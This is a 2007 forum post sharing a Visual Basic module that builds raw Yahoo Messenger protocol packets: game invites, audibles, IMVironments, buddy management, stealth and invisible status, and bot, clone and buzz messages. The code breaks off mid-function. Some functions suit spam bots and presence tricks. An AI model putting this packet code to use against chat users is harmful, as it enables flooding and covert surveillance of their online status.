1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Yahoo packets in VB !

Discussion in 'Visual Basic [VB]' started by kush_2207, Jun 30, 2007.

  1. kush_2207

    kush_2207 New Member

    Joined:
    Jun 26, 2007
    Messages:
    49
    Likes Received:
    1
    Trophy Points:
    0
    Code:
    '################################################################' 
    '#                                                              #' 
    '#  VB_Packets Yahoo Mod 2 Fully Tested!   91 Working Packets!  #' 
    '#                                                              #' 
    '#                 Credits to creator                           #'
    '#                                                              #' 
    '################################################################' 
    
    Public Function AddBuddy1922(WhoFrom As String, WhoTo As String, Message As String, Group As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€14À€" & Message & "À€65À€" & Group & "À€97À€1À€" 
    	AddBuddy1922 = DataHeader("83", pck) 
    	Debug.Print AddBuddy1922 
    End Function 
    
    Public Function GameLiterati(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180lt18318111tyrk828hb0zaycr.xru5qg--131" 
    	GameLiterati = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameBackgammon(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180bg18318111pcgcfcdw7wg8zhfcvoxnqq--131" 
    	GameBackgammon = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameTokiTokiBoom(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180ttb18318111236ibnipkkbtk4ufa4dgna--131" 
    	GameTokiTokiBoom = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameCheckers(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180ck18318111w9ky8drntpjsz3ncnwxfjw--131" 
    	GameCheckers = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameChess(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180ch18318111fiujrx1lfgy3bluver.kvq--131" 
    	GameChess = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GamePearHunter(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180ph18318111qumvsv.jm60oeusu1wirha--131" 
    	GamePearHunter = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameDominos(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180do18318111rjb0bqstgg09wke9ydkljq--131" 
    	GameDominos = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GameWordRacer(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180ww18318111zazxe_ppbqb6xrlout.sxw--131" 
    	GameWordRacer = DataHeader("B7", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GamePool(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "180pl18318111xnmu9vq9opxgzynzaed5ya--131" 
    	GamePool = DataHeader("B7", pck) 
    	Debug.Print GamePool 
    End Function 
    
    Public Function Audible_Ladys(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.ladies1À€231À€All the ladies in the house say...À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Ladys = DataHeader("D0", pck) 
    	Debug.Print Audible_Ladys 
    End Function 
    
    Public Function Audible_Wadddup(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.whadup1À€231À€Whaaadddup?!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Wadddup = DataHeader("D0", pck) 
    	Debug.Print Audible_Wadddup 
    End Function 
    
    Public Function Audible_HurtYou(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.dontmakeme1231Don't make me hurt you231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_HurtYou = DataHeader("D0", pck) 
    	Debug.Print Audible_HurtYou 
    End Function 
    
    Public Function Audible_SeeYou(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.seeyou1À€231À€Hello? I know you're there. I can see you!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_SeeYou = DataHeader("D0", pck) 
    	Debug.Print Audible_SeeYou 
    End Function 
    
    Public Function Audible_Echo(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.echo1À€231À€Hello? Hello? Anybody there? Echo!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Echo = DataHeader("D0", pck) 
    	Debug.Print Audible_Echo 
    End Function 
    
    Public Function Audible_OhHello(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.nosepick1231Oh... uh... Hello232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_OhHello = DataHeader("D0", pck) 
    	Debug.Print Audible_OhHello 
    End Function 
    
    Public Function Audible_Dude(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.dude1À€231À€Dude!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Dude = DataHeader("D0", pck) 
    	Debug.Print Audible_Dude 
    End Function 
    
    Public Function Audible_Whistle(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle1231Whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Whistle = DataHeader("D0", pck) 
    	Debug.Print Audible_Whistle 
    End Function 
    
    Public Function Audible_Expectingyou(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.welcome1À€231À€Welcome. I've been expecting you.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Expectingyou = DataHeader("D0", pck) 
    	Debug.Print Audible_Expectingyou 
    End Function 
    
    Public Function Audible_Punch(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Punch = DataHeader("D0", pck) 
    	Debug.Print Audible_Punch 
    End Function 
    
    Public Function Audible_KeepPunch(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_03b231You gotta keep Fuckin Punching in there. . .Punch!(Audible By vb_packets)232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_KeepPunch = DataHeader("D0", pck) 
    	Debug.Print Audible_KeepPunch 
    End Function 
    
    Public Function Audible_Heart4This(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_02b231If you don't have the heart for this, let's do something else.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Heart4This = DataHeader("D0", pck) 
    	Debug.Print Audible_Heart4This 
    End Function 
    
    Public Function Audible_hahayourfunny(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.funny1À€231À€Haha... you're funny!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_hahayourfunny = DataHeader("D0", pck) 
    	Debug.Print Audible_hahayourfunny 
    End Function 
    
    Public Function Audible_LonelyYou(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.lonely1À€231À€It must be really lonely being you.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_LonelyYou = DataHeader("D0", pck) 
    	Debug.Print Audible_LonelyYou 
    End Function 
    
    Public Function Audible_Loser(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.likeyou1À€231À€It's not that I'm losing - it's that I'm losing to someone like you!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Loser = DataHeader("D0", pck) 
    	Debug.Print Audible_Loser 
    End Function 
    
    Public Function Audible_BetterIM(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.monkey1231I've gotten better IM's from a drunken monkey232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_BetterIM = DataHeader("D0", pck) 
    	Debug.Print Audible_BetterIM 
    End Function 
    
    Public Function Audible_NotFunny(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.notfunny1À€231À€That's not funny.  That's not even in the same zip code as funny.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_NotFunny = DataHeader("D0", pck) 
    	Debug.Print Audible_NotFunny 
    End Function 
    
    Public Function Audible_Typo(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.typo1À€231À€I'm sorry - was that a typo? Or are you really that stupid?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Typo = DataHeader("D0", pck) 
    	Debug.Print Audible_Typo 
    End Function 
    
    Public Function Audible_SpellCheck(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.spellcheck1À€231À€It's called spell check.  Look into it.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_SpellCheck = DataHeader("D0", pck) 
    	Debug.Print Audible_SpellCheck 
    End Function 
    
    Public Function Audible_UnPlugComputer(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.unplug1À€231À€Seriously - do us all a favor and unplug your computer now!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_UnPlugComputer = DataHeader("D0", pck) 
    	Debug.Print Audible_UnPlugComputer 
    End Function 
    
    Public Function Audible_YourBrain(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.brain1À€231À€It's 10 o'clock.  Do you know where your brain is?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_YourBrain = DataHeader("D0", pck) 
    	Debug.Print Audible_YourBrain 
    End Function 
    
    Public Function Audible_YourBooty(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.booty1231Arrr!  Your booty shivers me timbers232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_YourBooty = DataHeader("D0", pck) 
    	Debug.Print Audible_YourBooty 
    End Function 
    
    Public Function Audible_YourWindow(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.window1231I love what you've done with your window232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_YourWindow = DataHeader("D0", pck) 
    	Debug.Print Audible_YourWindow 
    End Function 
    
    Public Function Audible_HaySexy(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.sexy231Hey sexy232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_HaySexy = DataHeader("D0", pck) 
    	Debug.Print Audible_HaySexy 
    End Function 
    
    Public Function Audible_TypeSlow(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.realslow231I love it when you type real slow232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_TypeSlow = DataHeader("D0", pck) 
    	Debug.Print Audible_TypeSlow 
    End Function 
    
    Public Function Audible_ComeCloser(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.comecloser1À€231À€Come here you. Come on. Closer. Closer.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_ComeCloser = DataHeader("D0", pck) 
    	Debug.Print Audible_ComeCloser 
    End Function 
    
    Public Function Audible_LovesMe(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.lovesme1À€231À€She loves me not.  She loves me.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_LovesMe = DataHeader("D0", pck) 
    	Debug.Print Audible_LovesMe 
    End Function 
    
    Public Function Audible_MeltHeart(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.heartmelt1231You make my heart melt232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_MeltHeart = DataHeader("D0", pck) 
    	Debug.Print Audible_MeltHeart 
    End Function 
    
    Public Function Audible_HotinHere(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.hot1À€231À€Is it just me or is it getting really hot in here?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_HotinHere = DataHeader("D0", pck) 
    	Debug.Print Audible_HotinHere 
    End Function 
    
    Public Function Audible_GottaReboot(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.goodbyes.reboot1À€231À€Oops.  Sorry... I have to reboot.  Goodbye...À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_GottaReboot = DataHeader("D0", pck) 
    	Debug.Print Audible_GottaReboot 
    End Function 
    
    Public Function Audible_GottaSplit(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.goodbyes.split1À€231À€See ya. I gotta split.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_GottaSplit = DataHeader("D0", pck) 
    	Debug.Print Audible_GottaSplit 
    End Function 
    Public Function Audible_GottaHurt(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.gottahurt1231Oooh that's gotta hurt231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_GottaHurt = DataHeader("D0", pck) 
    	Debug.Print Audible_GottaHurt 
    End Function 
    
    Public Function Audible_Grandma(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.bestshot1231Hit me with your best shot... Grandma!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Grandma = DataHeader("D0", pck) 
    	Debug.Print Audible_Grandma 
    End Function 
    
    Public Function Audible_Slip(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.mopping1231I hope you don't slip while I'm mopping the floor with you.231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Slip = DataHeader("D0", pck) 
    	Debug.Print Audible_Slip 
    End Function 
    
    Public Function Audible_Trying(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.seriously1231Seriously, are you even trying?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Trying = DataHeader("D0", pck) 
    	Debug.Print Audible_Trying 
    End Function 
    
    Public Function Audible_BadaBang(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.badabing1231Badabing badabang badaboom Sucker!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_BadaBang = DataHeader("D0", pck) 
    	Debug.Print Audible_BadaBang 
    End Function 
    
    Public Function Audible_GottaGoBoss(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.goodbyes.parole1231Gotta go.  My parole officer needs to use the computer232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_GottaGoBoss = DataHeader("D0", pck) 
    	Debug.Print Audible_GottaGoBoss 
    End Function 
    
    Public Function Audible_HurtPunch(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_HurtPunch = DataHeader("D0", pck) 
    	Debug.Print Audible_HurtPunch 
    End Function 
    
    Public Function Audible_Oldman(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.wellplayed1À€231À€Well played old man!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Oldman = DataHeader("D0", pck) 
    	Debug.Print Audible_Oldman 
    End Function 
    
    Public Function Audible_Cheater(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.cheater1À€231À€You're such a cheater!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_Cheater = DataHeader("D0", pck) 
    	Debug.Print Audible_Cheater 
    End Function 
    
    Public Function Audible_NoNoNo(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.nooo1À€231À€No No No No NO!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
    	Audible_NoNoNo = DataHeader("D0", pck) 
    	Debug.Print Audible_NoNoNo 
    End Function 
    
    Public Function Audible_Confidence(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.confidence1231Well I was just trying to build your confidence232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Confidence = DataHeader("D0", pck) 
    	Debug.Print Audible_Confidence 
    End Function 
    
    Public Function Audible_WhatEver(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.whatever1231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_WhatEver = DataHeader("D0", pck) 
    	Debug.Print Audible_WhatEver 
    End Function 
    
    Public Function Audible_ItsOnNow(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.onnow1231It's on now!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_ItsOnNow = DataHeader("D0", pck) 
    	Debug.Print Audible_ItsOnNow 
    End Function 
    
    Public Function Audible_TwoBest(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.besttwo1231How about best two out of three?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_TwoBest = DataHeader("D0", pck) 
    	Debug.Print Audible_TwoBest 
    End Function 
    
    Public Function Audible_Muah(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.muha1231Muhahahaha!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	Audible_Muah = DataHeader("D0", pck) 
    	Debug.Print Audible_Muah 
    End Function 
    
    Public Function DenyYM6Buddy(WhoFrom As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€14À€" & Message & "À€" 
    	DenyYM6Buddy = DataHeader("86", pck) 
    	Debug.Print 
    End Function 
    
    Public Function DoodlesIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€doodle;1À€64À€0À€" 
    	DoodlesIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function GalaxyIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€g2;1À€64À€0À€" 
    	GalaxyIMV = DataHeader("06", pck) 
    	Debug.Print GalaxyIMV 
    End Function 
    
    Public Function LorealIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€loreal;1À€64À€0À€" 
    	LorealIMV = DataHeader("06", pck) 
    	Debug.Print LorealIMV 
    End Function 
    
    Public Function HarryPotterIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€hp3dvd;1À€64À€0À€" 
    	HarryPotterIMV = DataHeader("06", pck) 
    	Debug.Print HarryPotterIMV 
    End Function 
    
    Public Function Clone(YourCloneID As String, WhoTo As String, YourBot As String) As String 
    	Dim pck As String 
    	pck = "5À€" & YourCloneID & "À€230À€" & WhoTo & "À€0À€" & YourBot 
    	Clone = DataHeader("D0", pck) 
    	Debug.Print Clone 
    End Function 
    
    Public Function LunchablesIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€lunchables;1À€64À€0À€" 
    	LunchablesIMV = DataHeader("06", pck) 
    	Debug.Print LunchablesIMV 
    End Function 
    
    Public Function JeepIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€jeep;1À€64À€0À€" 
    	JeepIMV = DataHeader("06", pck) 
    	Debug.Print JeepIMV 
    End Function 
    
    Public Function ShoppingIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€shoppingxl;1À€64À€0À€" 
    	ShoppingIMV = DataHeader("06", pck) 
    	Debug.Print ShoppingIMV 
    End Function 
    
    Public Function PhotosIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€photos;1À€64À€0À€" 
    	PhotosIMV = DataHeader("06", pck) 
    	Debug.Print PhotosIMV 
    End Function 
    
    Public Function Invisible(YourID As String) As String 
    	Dim pck As String 
    	pck = "7À€" & YourID & "À€10À€0À€13À€0À€11À€BE9ED4C3À€17À€0À€47À€2À€198À€1À€197À€1fShAsRFJAAICJ-FKkIpgkkzKCQ==À€205À€-130,-40,262À€213À€1À€" 
    	Invisible = DataHeader("02", pck) 
    	Debug.Print Invisible 
    End Function 
    
    Public Function SendBlank_PM(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
    	SendBlank_PM = DataHeader("D0", pck) 
    	Debug.Print SendBlank_PM 
    End Function 
                                   
    Public Function StealthOnline(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€31À€2À€13À€2À€7À€" & WhoTo & "À€" 
    	StealthOnline = DataHeader("B9", pck) 
    	Debug.Print StealthOnline 
    End Function 
    
    Public Function StealthOffline(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€31À€1À€13À€2À€7À€" & WhoTo & "À€" 
    	StealthOffline = DataHeader("B9", pck) 
    	Debug.Print StealthOffline 
    End Function 
    
    Public Function RemoveID(WhoFrom As String, WhoTo As String, Group As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€65À€" & Group & "À€" 
    	RemoveID = DataHeader("84", pck) 
    	Debug.Print RemoveID 
    End Function 
    
    Public Function YM6Buzz(WhoFrom As String, WhoTo As String, Message As TextBox) As String 
    	Dim pck As String 
    	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€14À€" & WhoTo & "À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & Message & "À€97À€1À€" 
    	YM6Buzz = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function YM6VoiceInvite(WhoFrom As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "1" & WhoFrom & "5" & WhoTo & "57131" 
    	YM6VoiceInvite = DataHeader("4A", pck) 
    	Debug.Print 
    End Function 
    
    Public Function YM6File(WhoTo As String, WhoFrom As String, WhoFromAgain As String, File As App) As String 
    	Dim pck As String 
    	pck = "5À€" & WhoTo & "À€4À€" & WhoFrom & "À€49À€FILEXFERÀ€1À€" & WhoFromAgain & "À€13À€1À€27À€" & File & "À€28À€68999À€20À€" 
    	YM6File = DataHeader("4D", pck) 
    	Debug.Print YM6File 
    End Function 
    
    Public Function SendPMYM6(WhoFrom As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1" & WhoFrom & "5" & WhoTo & "14" & Message & "97163642100212660" 
    	SendPMYM6 = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function YM6Conference(WhoFrom As String, WhoFromAgain As String, Message As String, WhoTo As String) As String 
    	Dim pck As String 
    	pck = "1À€" & WhoFrom & "À€50À€" & WhoFromAgain & "À€57À€" & Message & "-pDTUCRU__ATnNR9T2Y.q7g--À€58À€Join My Conference...À€97À€1À€52À€" & WhoTo & "À€13À€256À€" 
    	YM6Conference = DataHeader("18", pck) 
    	Debug.Print YM6Conference 
    End Function 
    
    Public Function YM6StatusChange(YahooID As String, Message As String) As String 
    	Dim pck As String 
    	pck = "7À€" & YahooID & "À€10À€99À€19À€" & Message & "À€47À€1À€11À€659A3D94À€17À€0À€138À€1À€13À€1À€187À€0À€" 
    	YM6StatusChange = DataHeader("C6", pck) 
    	Debug.Print YM6StatusChange 
    End Function 
    
    Public Function YM6CamInvite(WhoTo As String, WhoFrom As String) As String 
    	Dim pck As String 
    	pck = "5" & WhoTo & "4" & WhoFrom & "14 13049WEBCAMINVITE" 
    	YM6CamInvite = DataHeader("4B", pck) 
    	Debug.Print YM6CamInvite 
    End Function 
    
    Public Function Iggy(YourID As String, IggyWho As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourID & "À€7À€" & IggyWho & "À€13À€1À€" 
    	Iggy = DataHeader("85", pck) 
    End Function 
    
    Public Function InCrediblesIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€incredibles;1À€64À€0À€" 
    	InCrediblesIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function FishTankIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€fishtank;1À€64À€0À€" 
    	FishTankIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function SnowIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
